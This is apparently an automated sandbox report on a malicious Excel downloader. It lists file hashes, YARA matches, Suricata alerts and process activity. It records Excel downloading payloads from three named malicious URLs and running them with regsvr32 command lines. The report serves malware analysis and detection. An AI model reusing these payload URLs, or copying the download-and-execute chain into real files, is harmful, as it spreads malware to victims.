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Guide 2020-06-10
Version history 2020-06-10

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Summary | ZeroBOX

trend-1805140215.xls

Downloader MSOffice File

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 16, 2021, 1:03 p.m.	Oct. 16, 2021, 1:09 p.m.

Size	247.0KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Fri Oct 15 12:04:00 2021, Security: 0
MD5	`0c9961a5d8c7ee6bda37f75d1a59e8d9`
SHA256	`6dca30c3de0e6c7e933edba189b540d1eed803bb8ca29ff73de4541d05947951`
CRC32	`F79BAA06`
ssdeep	`6144:NKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgv9jWvcZZdtjq15OD7IvOEPD0lgvS3enw7B:A9jFrjmkD7IvLDK3vLvfn1+2D`
Yara	Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader Microsoft_Office_File_Zero - Microsoft Office File

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\trend-1805140215.xls
2496
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
  2376
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
  2352
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
  2920

Name	Response	Post-Analysis Lookup
elcbd.net	A 209.222.97.206	209.222.97.206
saftronics.co.za	A 196.37.111.115	196.37.111.115
pmbtvonline.com	A 192.185.227.95	192.185.227.95

IP Address	Status	Action
164.124.101.2	Active	Moloch
192.185.227.95	Active	Moloch
196.37.111.115	Active	Moloch
209.222.97.206	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49167 -> 209.222.97.206:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49173 -> 192.185.227.95:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.185.227.95:443 -> 192.168.56.103:49175	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49172 -> 192.185.227.95:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49169 -> 209.222.97.206:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 209.222.97.206:443 -> 192.168.56.103:49170	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49177 -> 196.37.111.115:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49177 196.37.111.115:443	C=US, ST=TX, L=Houston, O=cPanel, Inc., CN=cPanel, Inc. Certification Authority	CN=saftronics.co.za	e3:23:5e:cd:7c:24:5f:df:cc:6d:44:e3:11:22:7a:22:08:d6:07:34

Performs some HTTP requests (1 event)

request

GET https://saftronics.co.za/WRpRfTpvJ/alen.html

Allocates read-write-execute memory (usually to unpack itself) (2 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 16, 2021, 1:03 p.m.	process_identifier: 2496 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bf98000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 16, 2021, 1:03 p.m.	process_identifier: 2496 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6b282000 process_handle: 0xffffffff	1	0	0

Creates a suspicious process (6 events)

cmdline	regsvr32 C:\Datop\test.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline	regsvr32 C:\Datop\test1.test
cmdline	regsvr32 C:\Datop\test2.test

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 16, 2021, 1:03 p.m.	process_identifier: 2496 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW Oct. 16, 2021, 1:03 p.m.	url: https://elcbd.net/QJ89y2Nztyh/alena.html stack_pivoted: 0 filepath_r: C:\Datop\test.test filepath: C:\Datop\test.test		2148270085	0
URLDownloadToFileW Oct. 16, 2021, 1:03 p.m.	url: https://pmbtvonline.com/HHQxjY8UnnDR/ale.html stack_pivoted: 0 filepath_r: C:\Datop\test1.test filepath: C:\Datop\test1.test		2148270085	0
URLDownloadToFileW Oct. 16, 2021, 1:03 p.m.	url: https://saftronics.co.za/WRpRfTpvJ/alen.html stack_pivoted: 0 filepath_r: C:\Datop\test2.test filepath: C:\Datop\test2.test	1	0	0

One or more non-whitelisted processes were created (6 events)

parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test1.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test2.test

The process excel.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\regsvr32.exe